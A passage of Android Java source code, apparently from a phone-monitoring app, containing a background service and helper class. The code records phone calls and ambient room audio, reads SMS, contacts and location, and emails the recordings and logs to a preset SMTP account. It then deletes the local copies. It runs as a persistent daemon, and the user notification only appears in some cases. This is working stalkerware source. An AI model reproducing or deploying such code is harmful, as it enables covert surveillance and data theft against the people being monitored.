88 | private final /* synthetic */ String val$userEmail;
89 |
90 | AnonymousClass2(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, List list, String str9) {
91 | this.val$smtp = str;
92 | this.val$port = str2;
93 | this.val$userEmail = str3;
94 | this.val$password = str4;
95 | this.val$from = str5;
96 | this.val$to = str6;
97 | this.val$subject = str7;
98 | this.val$content = str8;
99 | this.val$paths = list;
100 | this.val$pathString = str9;
101 | }
102 |
103 | public void run() {
104 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true);
105 | mailInfo.setFromAddress(this.val$from);
106 | mailInfo.setToAddress(this.val$to);
107 | mailInfo.setSubject(this.val$subject);
108 | mailInfo.setContent(this.val$content);
109 | mailInfo.setAttachFileNames(this.val$paths);
110 | if (new SimpleMailSender().sendAttachMail(mailInfo)) {
111 | OtherOperatorService.deleteFile(this.val$paths);
112 | OtherOperatorService.deleteML(this.val$pathString);
113 | return;
114 | }
115 | File file = new File(this.val$pathString, "phone.txt");
116 | if (file.exists()) {
117 | file.delete();
118 | file = new File(this.val$pathString, "phone.txt");
119 | }
120 | OtherOperatorService.txtFileSave(file, "1" + this.val$content);
121 | }
122 | }
123 |
124 | static class AnonymousClass3 implements Runnable {
125 | private final /* synthetic */ String val$content;
126 | private final /* synthetic */ String val$from;
127 | private final /* synthetic */ String val$password;
128 | private final /* synthetic */ String val$pathString;
129 | private final /* synthetic */ List val$paths;
130 | private final /* synthetic */ String val$port;
131 | private final /* synthetic */ String val$smtp;
132 | private final /* synthetic */ String val$subject;
133 | private final /* synthetic */ String val$to;
134 | private final /* synthetic */ String val$userEmail;
135 |
136 | AnonymousClass3(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, List list, String str9) {
137 | this.val$smtp = str;
138 | this.val$port = str2;
139 | this.val$userEmail = str3;
140 | this.val$password = str4;
141 | this.val$from = str5;
142 | this.val$to = str6;
143 | this.val$subject = str7;
144 | this.val$content = str8;
145 | this.val$paths = list;
146 | this.val$pathString = str9;
147 | }
148 |
149 | public void run() {
150 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true);
151 | mailInfo.setFromAddress(this.val$from);
152 | mailInfo.setToAddress(this.val$to);
153 | mailInfo.setSubject(this.val$subject);
154 | mailInfo.setContent(this.val$content);
155 | mailInfo.setAttachFileNames(this.val$paths);
156 | if (new SimpleMailSender().sendAttachMail(mailInfo)) {
157 | OtherOperatorService.deleteFile(this.val$paths);
158 | OtherOperatorService.deleteML(this.val$pathString);
159 | }
160 | }
161 | }
162 |
163 | public OtherOperatorService(Context context) {
164 | this.context = context;
165 | }
166 |
167 | public static String getPhoneImai(Context context) {
168 | return ((TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId().trim().toUpperCase(Locale.US);
169 | }
170 |
171 | public static boolean isServiceRunning(Context context) {
172 | for (ActivityManager.RunningServiceInfo service : ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getRunningServices(Integer.MAX_VALUE)) {
173 | if ("com.android.example.service.PhoneService".equals(service.service.getClassName())) {
174 | return true;
175 | }
176 | }
177 | return false;
178 | }
179 |
180 | public static void uploadEmail(String smtp, String port, String userEmail, String password, String from, String[] tos, String subject, String content) {
181 | XLog.d("TAG发送邮件信息!");
182 | new Thread(new AnonymousClass1(smtp, port, userEmail, password, from, tos, subject, content)).start();
183 | }
184 |
185 | public static void uploadEmail(List
").toString());
268 | smsBuilder.append("姓名:" + name + "
");
269 | smsBuilder.append("号码:" + phoneNumber + "
");
270 | smsBuilder.append("内容:" + smsbody + "
----------------------------------------
");
271 | if (smsbody == null) {
272 | smsbody = "";
273 | }
274 | } while (cur.moveToNext());
275 | } else {
276 | smsBuilder.append("没有短信!");
277 | }
278 | smsBuilder.append("已完成操作!");
279 | } catch (SQLiteException ex) {
280 | Log.d("SE in getSmsInPhone", ex.getMessage());
281 | }
282 | return smsBuilder.toString();
283 | }
284 |
285 | public static void txtFileSave(File file, String filecontent) {
286 | try {
287 | FileOutputStream outStream = new FileOutputStream(file, true);
288 | outStream.write(filecontent.getBytes());
289 | outStream.close();
290 | } catch (Exception e) {
291 | e.printStackTrace();
292 | }
293 | }
294 |
295 | public static String getTxtHistory(File file) {
296 | String res = "";
297 | if (!file.exists()) {
298 | return "";
299 | }
300 | try {
301 | FileInputStream fin = new FileInputStream(file.getAbsolutePath());
302 | byte[] buffer = new byte[fin.available()];
303 | fin.read(buffer);
304 | res = new StringBuilder(String.valueOf(res)).append(EncodingUtils.getString(buffer, "UTF-8")).toString();
305 | fin.close();
306 | } catch (Exception e) {
307 | e.printStackTrace();
308 | }
309 | return res;
310 | }
311 |
312 | public static String setJtingPath(Context context) {
313 | if ("mounted".equals(Environment.getExternalStorageState())) {
314 | return new StringBuilder(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath())).append("/PhoneSystem").toString();
315 | }
316 | return new StringBuilder(String.valueOf(context.getApplicationContext().getFilesDir().getAbsolutePath())).append("/PhoneSystem").toString();
317 | }
318 |
319 | public static boolean checkAllNetwork(Context context) {
320 | NetworkInfo info = ((ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE)).getActiveNetworkInfo();
321 | if (info != null && info.isConnected() && info.isAvailable()) {
322 | return true;
323 | }
324 | return false;
325 | }
326 |
327 | public static boolean check3Gwifi(Context context) {
328 | ConnectivityManager manager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
329 | NetworkInfo infoM = manager.getNetworkInfo(0);
330 | if (manager.getNetworkInfo(1).isConnected() || infoM.isConnected()) {
331 | return true;
332 | }
333 | return false;
334 | }
335 |
336 | public static boolean checkwifiwork(Context context) {
337 | if (((ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE)).getNetworkInfo(1).isConnected()) {
338 | return true;
339 | }
340 | return false;
341 | }
342 |
343 | public static String getTimeLenth(long start, long stop) {
344 | int temp = (int) (stop - start);
345 | int hour = temp / 3600000;
346 | int min = (temp - (3600000 * hour)) / 60000;
347 | return new StringBuilder(String.valueOf(hour)).append("时").append(min).append("分")
348 | .append(((temp - (hour * 3600000)) - (min * 60000)) / 1000).append("秒").toString();
349 | }
350 |
351 | public static String getCurrentTime() {
352 | Date date = new Date(System.currentTimeMillis());
353 | Calendar cal = Calendar.getInstance();
354 | cal.setTime(date);
355 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月"
356 | + cal.get(Calendar.DAY_OF_MONTH) + "日" + cal.get(Calendar.HOUR) + ":"
357 | + cal.get(Calendar.MINUTE) + ":" + cal.get(Calendar.SECOND);
358 | }
359 |
360 | public static String getCurrentTime(Long d) {
361 | Date date = new Date(d.longValue());
362 | Calendar cal = Calendar.getInstance();
363 | cal.setTime(date);
364 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月"
365 | + cal.get(Calendar.DAY_OF_MONTH) + "日" + cal.get(Calendar.HOUR) + ":"
366 | + cal.get(Calendar.MINUTE) + ":" + cal.get(Calendar.SECOND);
367 | }
368 |
369 | public static String getCurrentYMD() {
370 | Date date = new Date(System.currentTimeMillis());
371 | Calendar cal = Calendar.getInstance();
372 | cal.setTime(date);
373 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月"
374 | + cal.get(Calendar.DAY_OF_MONTH) + "日";
375 | }
376 |
377 | public static String getContactNameFromPhoneBook(Context context, String phoneNum) {
378 | String contactName = "";
379 | Cursor pCur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "data1 = ?", new String[]{phoneNum}, null);
380 | if (pCur.moveToFirst()) {
381 | contactName = pCur.getString(pCur.getColumnIndex("display_name"));
382 | pCur.close();
383 | }
384 | if ("".equals(contactName) || contactName == null) {
385 | return "匿名号码";
386 | }
387 | return contactName;
388 | }
389 |
390 | public static String MD5(String str) {
391 | MessageDigest messageDigest = null;
392 | try {
393 | messageDigest = MessageDigest.getInstance("MD5");
394 | messageDigest.reset();
395 | messageDigest.update(str.getBytes("UTF-8"));
396 | } catch (NoSuchAlgorithmException e) {
397 | e.printStackTrace();
398 | } catch (UnsupportedEncodingException e2) {
399 | e2.printStackTrace();
400 | }
401 | byte[] byteArray = messageDigest.digest();
402 | StringBuffer md5StrBuff = new StringBuffer();
403 | for (int i = 0; i < byteArray.length; i++) {
404 | if (Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK).length() == 1) {
405 | md5StrBuff.append("0").append(Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK));
406 | } else {
407 | md5StrBuff.append(Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK));
408 | }
409 | }
410 | return md5StrBuff.toString().toUpperCase(Locale.US);
411 | }
412 |
413 | public static boolean isReg(String arg0, String arg1, String arg2) {
414 | if ("".equals(arg0) || arg0 == null) {
415 | return false;
416 | }
417 | if ("".equals(arg1) || arg1 == null) {
418 | return false;
419 | }
420 | if ("".equals(arg2) || arg2 == null) {
421 | return false;
422 | }
423 | // try {
424 | // String g = MD5(new StringBuilder(String.valueOf(arg0)).append("0o").toString());
425 | // String h = MD5(new StringBuilder(String.valueOf(arg1)).append("0o").toString());
426 | // int i = Integer.parseInt(arg2.substring(0, 1));
427 | // int j = Integer.parseInt(arg2.substring(arg2.length() - 1, arg2.length()));
428 | // String m = new StringBuilder(String.valueOf(i)).append(g.substring(j, i + j)).append(j).toString();
429 | // String n = new StringBuilder(String.valueOf(i)).append(h.substring(j, i + j)).append(j).toString();
430 | // if (m.equals(arg2) || n.equals(arg2)) {
431 | // return true;
432 | // }
433 | // } catch (Exception e) {
434 | // e.printStackTrace();
435 | // }
436 | return true;
437 | }
438 |
439 | public static void showNotisfy(Context context, int icon, String tickertext, String title, String content) {
440 | Notification notification = null;
441 | NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context);
442 | mBuilder.setContentTitle(title)
443 | .setContentInfo(content);
444 | notification = mBuilder.build();
445 | ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE)).notify(10, notification);
446 | }
447 |
448 | public static String getImei(Context context, int i) {
449 | String szImei = ((TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId().trim().toUpperCase(Locale.US);
450 | if (szImei != null && !"".equals(szImei)) {
451 | return szImei.substring(szImei.length() - i, szImei.length());
452 | }
453 | for (int j = 0; j < i; j++) {
454 | szImei = new StringBuilder(String.valueOf(szImei)).append("9").toString();
455 | }
456 | return szImei;
457 | }
458 |
459 | public static String getCardName(String arg0) {
460 | if (arg0.startsWith("46000") || arg0.startsWith("46002")) {
461 | return "中国移动卡";
462 | }
463 | if (arg0.startsWith("46001")) {
464 | return "中国联通卡";
465 | }
466 | if (arg0.startsWith("46003")) {
467 | return "中国电信卡";
468 | }
469 | return "无卡或无效卡";
470 | }
471 |
472 | public static String getSubstring(String string) {
473 | try {
474 | String[] tempc = toArray(myReplace(string.substring(string.indexOf("[") + 1, string.indexOf("]")), "},", "}|"), "|");
475 | String newString = "";
476 | for (String myReplace : tempc) {
477 | String temp = myReplace(myReplace(myReplace(myReplace(myReplace, "\"addr\":\"", "*"), "\",\"dis", "#"), "\"name\":\"", "["), "\",\"tel", "]");
478 | int names = temp.indexOf("[");
479 | newString = new StringBuilder(String.valueOf(newString)).append(temp.substring(names + 1, temp.indexOf("]"))).append("(").append(temp.substring(temp.indexOf("*") + 1, temp.indexOf("#"))).append(");").toString();
480 | }
481 | return newString;
482 | } catch (Exception e) {
483 | return "err" + string;
484 | }
485 | }
486 |
487 | public static String myReplace(String s, String org, String ob) {
488 | String newString = "";
489 | while (s.indexOf(org) != -1) {
490 | int first = s.indexOf(org);
491 | if (first != s.length()) {
492 | newString = new StringBuilder(String.valueOf(newString)).append(s.substring(0, first)).append(ob).toString();
493 | s = s.substring(org.length() + first, s.length());
494 | }
495 | }
496 | return new StringBuilder(String.valueOf(newString)).append(s).toString();
497 | }
498 |
499 | public static String[] toArray(String oriString, String separator) {
500 | if (oriString == null) {
501 | throw new NullPointerException("The parameter [string] cannot be null.");
502 | } else if (separator == null) {
503 | throw new NullPointerException("The parameter [separator] cannot be null.");
504 | } else if (separator.length() == 0) {
505 | throw new IllegalArgumentException("The parameter [separator] cannot be empty.");
506 | } else {
507 | StringTokenizer st = new StringTokenizer(oriString, separator);
508 | List list = new LinkedList();
509 | while (st.hasMoreTokens()) {
510 | list.add(st.nextToken());
511 | }
512 | return (String[]) list.toArray(new String[list.size()]);
513 | }
514 | }
515 |
516 | }
517 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/PhoneService.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.service;
2 |
3 | import android.app.Service;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.content.SharedPreferences;
7 | import android.media.MediaRecorder;
8 | import android.os.IBinder;
9 | import android.support.annotation.Nullable;
10 | import android.telephony.PhoneStateListener;
11 | import android.telephony.TelephonyManager;
12 | import android.util.Log;
13 |
14 | import com.elvishew.xlog.XLog;
15 | import com.shiliukeji.xc_lsy.androidkillerservice.R;
16 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location;
17 | import com.xdandroid.hellodaemon.AbsWorkService;
18 |
19 | import java.io.File;
20 | import java.util.List;
21 |
22 | import io.reactivex.disposables.Disposable;
23 |
24 | /**
25 | * Created by XC_LSY on 2017/7/6.
26 | */
27 |
28 | public class PhoneService extends AbsWorkService {
29 | private static MediaRecorder mediaRecorder;
30 | private String addr;
31 | private String baiduMap;
32 | private File file;
33 | private File filedir;
34 | private boolean huanjingluyinFlag = false;
35 | private boolean incomingFlag = false;
36 | private String incoming_number;
37 | private boolean isPath = false;
38 | private boolean isRecord = false;
39 | private boolean isSended = false;
40 | public String outphoneNumber;
41 | private String pName;
42 | private GetSharePrefe paras;
43 | private String path;
44 | private String phoneNumber;
45 | private String poiString;
46 | private String shoujiName;
47 | private long startTime = 0;
48 | private long stopTime = 0;
49 | private SharedPreferences zcps;
50 |
51 | //是否 任务完成, 不再需要服务运行?
52 | public static boolean sShouldStopService = false;
53 | public static Disposable sDisposable;
54 |
55 | public static void stopService() {
56 | //我们现在不再需要服务运行了, 将标志位置为 true
57 | sShouldStopService = true;
58 | //取消对任务的订阅
59 | if (sDisposable != null) sDisposable.dispose();
60 | //取消 Job / Alarm / Subscription
61 | cancelJobAlarmSub();
62 | }
63 |
64 | private final class myPhoneStateListener extends PhoneStateListener {
65 | private myPhoneStateListener() {
66 | }
67 |
68 | public void onCallStateChanged(int state, String incomingNumber) {
69 | switch (state) {
70 | case 0:
71 | if (PhoneService.mediaRecorder == null || !PhoneService.this.isRecord || PhoneService.this.file.length() <= 400) {
72 | PhoneService.mediaRecorder = null;
73 | PhoneService.this.isRecord = false;
74 | } else {
75 | PhoneService.this.stopRecording();
76 | }
77 | if (PhoneService.this.startTime != 0) {
78 | PhoneService.this.stopTime = System.currentTimeMillis();
79 | String temp = PhoneService.this.getNowState();
80 | if (PhoneService.this.paras.isWeizhijilu()) {
81 | PhoneService.this.getUserLocation();
82 | }
83 | String subject = new StringBuilder(String.valueOf(PhoneService.this.shoujiName)).append("发来--电话邮件(").append(temp).append(";位置:").append(PhoneService.this.addr).append(")").toString();
84 | String content = "邮件标题:" + subject + "
" + temp + "(" + PhoneService.this.pName + ")
通话时长:" + OtherOperatorService.getTimeLenth(PhoneService.this.startTime, PhoneService.this.stopTime) + "(开始时间:" + OtherOperatorService.getCurrentTime(Long.valueOf(PhoneService.this.startTime)) + ")" + "
通话内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt"));
85 | if (OtherOperatorService.check3Gwifi(PhoneService.this.getApplicationContext())) {
86 | if (!PhoneService.this.isSended && PhoneService.this.paras.isUserSetOk()) {
87 | String smtp = PhoneService.this.paras.getSmtp();
88 | String port = PhoneService.this.paras.getPort();
89 | String useremail = PhoneService.this.paras.getUserEmail();
90 | String password = PhoneService.this.paras.getUserPassword();
91 | if (PhoneService.this.file.exists()) {
92 | List
" + temp + "
" + "
环录内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt"));
226 | if (OtherOperatorService.checkwifiwork(PhoneService.this.getApplicationContext())) {
227 | String smtp = PhoneService.this.paras.getSmtp();
228 | String port = PhoneService.this.paras.getPort();
229 | String useremail = PhoneService.this.paras.getUserEmail();
230 | String password = PhoneService.this.paras.getUserPassword();
231 | if (PhoneService.this.file.exists()) {
232 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneService.this.filedir), PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content);
233 | } else {
234 | String str = smtp;
235 | String str2 = port;
236 | String str3 = useremail;
237 | String str4 = password;
238 | String str5 = useremail;
239 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功");
240 | }
241 | } else {
242 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt");
243 | if (PhoneService.this.file.exists()) {
244 | PhoneService.this.file.delete();
245 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt");
246 | }
247 | OtherOperatorService.txtFileSave(PhoneService.this.file, "0" + content);
248 | }
249 | PhoneService.this.startTime = 0;
250 | PhoneService.this.file = null;
251 | PhoneService.this.filedir = null;
252 | PhoneService.this.path = null;
253 | PhoneService.this.phoneNumber = null;
254 | PhoneService.this.outphoneNumber = null;
255 | PhoneService.this.pName = null;
256 | PhoneService.this.isRecord = false;
257 | PhoneService.this.isPath = false;
258 | } catch (InterruptedException e) {
259 | e.printStackTrace();
260 | }
261 | }
262 | }).start();
263 | }
264 | }
265 |
266 | @Override
267 | public void stopWork(Intent intent, int flags, int startId) {
268 | stopService();
269 | }
270 |
271 | @Override
272 | public Boolean isWorkRunning(Intent intent, int flags, int startId) {
273 | //若还没有取消订阅, 就说明任务仍在运行.
274 | return sDisposable != null && !sDisposable.isDisposed();
275 | }
276 |
277 | @Nullable
278 | @Override
279 | public IBinder onBind(Intent intent, Void alwaysNull) {
280 | return null;
281 | }
282 |
283 | @Override
284 | public void onServiceKilled(Intent rootIntent) {
285 | System.out.println("终止进程!");
286 | }
287 |
288 | public int onStartCommand(Intent intent, int flags, int startId) {
289 | Location location = new Location();
290 | Location.updateListener();
291 | try {
292 | this.outphoneNumber = intent.getExtras().getString("outNumber");
293 | XLog.d("获取电话号码:" + outphoneNumber);
294 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(getApplicationContext(), this.outphoneNumber);
295 | } catch (Exception e) {
296 | e.printStackTrace();
297 | XLog.d("未获取电话号码");
298 | }
299 | this.paras = new GetSharePrefe(getApplicationContext());
300 | this.zcps = getApplicationContext().getSharedPreferences("reg", 0);
301 | this.shoujiName = this.paras.getShoujiName();
302 | if (this.outphoneNumber == null || this.outphoneNumber.length() >= 3) {
303 | if (!this.isRecord) {
304 | ((TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE)).listen(new myPhoneStateListener(), 32);
305 | }
306 | } else if (!this.isRecord) {
307 | this.huanjingluyinFlag = true;
308 | readyFile();
309 | new Thread(new Runnable() {
310 | public void run() {
311 | try {
312 | if (PhoneService.this.isPath) {
313 | PhoneService.this.startRecording();
314 | }
315 | Thread.sleep((long) ((Integer.parseInt(PhoneService.this.outphoneNumber) * 60) * 1000));
316 | if (PhoneService.mediaRecorder == null || !PhoneService.this.isRecord) {
317 | PhoneService.mediaRecorder = null;
318 | PhoneService.this.isRecord = false;
319 | } else {
320 | PhoneService.this.stopRecording();
321 | PhoneService.this.stopTime = System.currentTimeMillis();
322 | }
323 | String temp = PhoneService.this.getNowState();
324 | PhoneService.this.huanjingluyinFlag = false;
325 | if (PhoneService.this.paras.isWeizhijilu()) {
326 | PhoneService.this.getUserLocation();
327 | }
328 | String subject = new StringBuilder(String.valueOf(PhoneService.this.shoujiName)).append("发来--环录邮件(").append(temp).append(";位置:").append(PhoneService.this.addr).append(")").toString();
329 | String content = "邮件标题:" + subject + "
" + temp + "
" + "
环录内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt"));
330 | if (OtherOperatorService.checkwifiwork(PhoneService.this.getApplicationContext())) {
331 | String smtp = PhoneService.this.paras.getSmtp();
332 | String port = PhoneService.this.paras.getPort();
333 | String useremail = PhoneService.this.paras.getUserEmail();
334 | String password = PhoneService.this.paras.getUserPassword();
335 | if (PhoneService.this.file.exists()) {
336 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneService.this.filedir), PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content);
337 | } else {
338 | String str = smtp;
339 | String str2 = port;
340 | String str3 = useremail;
341 | String str4 = password;
342 | String str5 = useremail;
343 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功");
344 | }
345 | } else {
346 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt");
347 | if (PhoneService.this.file.exists()) {
348 | PhoneService.this.file.delete();
349 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt");
350 | }
351 | OtherOperatorService.txtFileSave(PhoneService.this.file, "0" + content);
352 | }
353 | PhoneService.this.startTime = 0;
354 | PhoneService.this.file = null;
355 | PhoneService.this.filedir = null;
356 | PhoneService.this.path = null;
357 | PhoneService.this.phoneNumber = null;
358 | PhoneService.this.outphoneNumber = null;
359 | PhoneService.this.pName = null;
360 | PhoneService.this.isRecord = false;
361 | PhoneService.this.isPath = false;
362 | } catch (InterruptedException e) {
363 | e.printStackTrace();
364 | }
365 | }
366 | }).start();
367 | }
368 | return Service.START_STICKY;
369 | }
370 |
371 | public void startRecording() {
372 | if (this.paras.isTonghualuyin()) {
373 | try {
374 | mediaRecorder = new MediaRecorder();
375 | mediaRecorder.setAudioSource(4);
376 | mediaRecorder.setAudioSamplingRate(16000);
377 | mediaRecorder.setOutputFormat(3);
378 | mediaRecorder.setAudioEncoder(1);
379 | mediaRecorder.setOutputFile(this.file.getAbsolutePath());
380 | mediaRecorder.prepare();
381 | mediaRecorder.start();
382 | this.isRecord = true;
383 | } catch (Exception e) {
384 | this.isRecord = false;
385 | mediaRecorder.reset();
386 | mediaRecorder.release();
387 | mediaRecorder = null;
388 | }
389 | }
390 | }
391 |
392 | public String getNowState() {
393 | String temp = "";
394 | if (this.huanjingluyinFlag) {
395 | return "环录:" + this.outphoneNumber + "分钟";
396 | }
397 | if (this.incomingFlag) {
398 | return "来电:" + this.incoming_number;
399 | }
400 | return "去电:" + this.outphoneNumber;
401 | }
402 |
403 | public void getUserLocation() {
404 | double tempj = Location.getLocation().getLongitude();
405 | String temps = new StringBuilder(String.valueOf(tempj)).append(",").append(Location.getLocation().getLatitude()).toString();
406 | this.baiduMap = "";
407 | this.addr = Location.getLocation().getAddr();
408 | if (this.addr == null) {
409 | this.addr = "位置信息不明";
410 | }
411 | String temppoi = Location.getLocation().getPoiStr();
412 | if (temppoi == null) {
413 | this.poiString = "位置周边信息不明";
414 | } else {
415 | this.poiString = OtherOperatorService.getSubstring(temppoi);
416 | }
417 | }
418 |
419 | public void sendTongZhi(String useremail, String temp) {
420 | if (!OtherOperatorService.isReg(this.paras.getUserEmail(), this.paras.getShoujiImei(), this.zcps.getString("zhucema", ""))) {
421 | OtherOperatorService.showNotisfy(getApplicationContext(), R.drawable.mytp, "温馨提示:你刚才的电话记录已为你备份至" + useremail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(temp)).append("记录已为你备份至").append(useremail).append("邮箱").toString());
422 | }
423 | }
424 |
425 | public void stopRecording() {
426 | try {
427 | mediaRecorder.stop();
428 | mediaRecorder.release();
429 | } catch (Exception e) {
430 | e.printStackTrace();
431 | }
432 | mediaRecorder = null;
433 | this.isRecord = false;
434 | }
435 |
436 | public void readyFile() {
437 | this.path = OtherOperatorService.setJtingPath(getApplicationContext());
438 | this.startTime = System.currentTimeMillis();
439 | if (this.path != null) {
440 | this.filedir = new File(this.path);
441 | if (!this.filedir.exists()) {
442 | this.filedir.mkdir();
443 | }
444 | if (this.incomingFlag) {
445 | this.phoneNumber = "laidian" + this.incoming_number + "_" + this.startTime + ".amr";
446 | } else if (this.huanjingluyinFlag) {
447 | this.phoneNumber = "hjluyin" + this.outphoneNumber + "_" + this.startTime + ".amr";
448 | } else {
449 | this.phoneNumber = "qudian" + this.outphoneNumber + "_" + this.startTime + ".amr";
450 | }
451 | this.file = new File(this.filedir, this.phoneNumber);
452 | this.isPath = true;
453 | }
454 | }
455 |
456 | public void onCreate() {
457 | super.onCreate();
458 | Log.i("111", "service线程:" + Thread.currentThread().getId());
459 | }
460 | }
461 |
462 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/PhoneServicebak.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.service;
2 |
3 | import android.app.Service;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.content.SharedPreferences;
7 | import android.media.MediaRecorder;
8 | import android.os.IBinder;
9 | import android.telephony.PhoneStateListener;
10 | import android.telephony.TelephonyManager;
11 | import android.util.Log;
12 |
13 | import com.elvishew.xlog.XLog;
14 | import com.shiliukeji.xc_lsy.androidkillerservice.R;
15 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location;
16 |
17 | import java.io.File;
18 | import java.util.List;
19 |
20 | /**
21 | * Created by XC_LSY on 2017/7/6.
22 | */
23 | @Deprecated
24 | public class PhoneServicebak extends Service {
25 | private static MediaRecorder mediaRecorder;
26 | private String addr;
27 | private String baiduMap;
28 | private File file;
29 | private File filedir;
30 | private boolean huanjingluyinFlag = false;
31 | private boolean incomingFlag = false;
32 | private String incoming_number;
33 | private boolean isPath = false;
34 | private boolean isRecord = false;
35 | private boolean isSended = false;
36 | public String outphoneNumber;
37 | private String pName;
38 | private GetSharePrefe paras;
39 | private String path;
40 | private String phoneNumber;
41 | private String poiString;
42 | private String shoujiName;
43 | private long startTime = 0;
44 | private long stopTime = 0;
45 | private SharedPreferences zcps;
46 |
47 | private final class myPhoneStateListener extends PhoneStateListener {
48 | private myPhoneStateListener() {
49 | }
50 |
51 | public void onCallStateChanged(int state, String incomingNumber) {
52 | switch (state) {
53 | case 0:
54 | if (PhoneServicebak.mediaRecorder == null || !PhoneServicebak.this.isRecord || PhoneServicebak.this.file.length() <= 400) {
55 | PhoneServicebak.mediaRecorder = null;
56 | PhoneServicebak.this.isRecord = false;
57 | } else {
58 | PhoneServicebak.this.stopRecording();
59 | }
60 | if (PhoneServicebak.this.startTime != 0) {
61 | PhoneServicebak.this.stopTime = System.currentTimeMillis();
62 | String temp = PhoneServicebak.this.getNowState();
63 | if (PhoneServicebak.this.paras.isWeizhijilu()) {
64 | PhoneServicebak.this.getUserLocation();
65 | }
66 | String subject = new StringBuilder(String.valueOf(PhoneServicebak.this.shoujiName)).append("发来--电话邮件(").append(temp).append(";位置:").append(PhoneServicebak.this.addr).append(")").toString();
67 | String content = "邮件标题:" + subject + "
" + temp + "(" + PhoneServicebak.this.pName + ")
通话时长:" + OtherOperatorService.getTimeLenth(PhoneServicebak.this.startTime, PhoneServicebak.this.stopTime) + "(开始时间:" + OtherOperatorService.getCurrentTime(Long.valueOf(PhoneServicebak.this.startTime)) + ")" + "
通话内容:见附件" + PhoneServicebak.this.phoneNumber + "
附近信息:" + PhoneServicebak.this.poiString + "
" + PhoneServicebak.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneServicebak.this.filedir, "phone.txt"));
68 | if (OtherOperatorService.check3Gwifi(PhoneServicebak.this.getApplicationContext())) {
69 | if (!PhoneServicebak.this.isSended && PhoneServicebak.this.paras.isUserSetOk()) {
70 | String smtp = PhoneServicebak.this.paras.getSmtp();
71 | String port = PhoneServicebak.this.paras.getPort();
72 | String useremail = PhoneServicebak.this.paras.getUserEmail();
73 | String password = PhoneServicebak.this.paras.getUserPassword();
74 | if (PhoneServicebak.this.file.exists()) {
75 | List
" + temp + "
" + "
环录内容:见附件" + PhoneServicebak.this.phoneNumber + "
附近信息:" + PhoneServicebak.this.poiString + "
" + PhoneServicebak.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneServicebak.this.filedir, "phone.txt"));
204 | if (OtherOperatorService.checkwifiwork(PhoneServicebak.this.getApplicationContext())) {
205 | String smtp = PhoneServicebak.this.paras.getSmtp();
206 | String port = PhoneServicebak.this.paras.getPort();
207 | String useremail = PhoneServicebak.this.paras.getUserEmail();
208 | String password = PhoneServicebak.this.paras.getUserPassword();
209 | if (PhoneServicebak.this.file.exists()) {
210 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneServicebak.this.filedir), PhoneServicebak.this.path, smtp, port, useremail, password, useremail, useremail, subject, content);
211 | } else {
212 | String str = smtp;
213 | String str2 = port;
214 | String str3 = useremail;
215 | String str4 = password;
216 | String str5 = useremail;
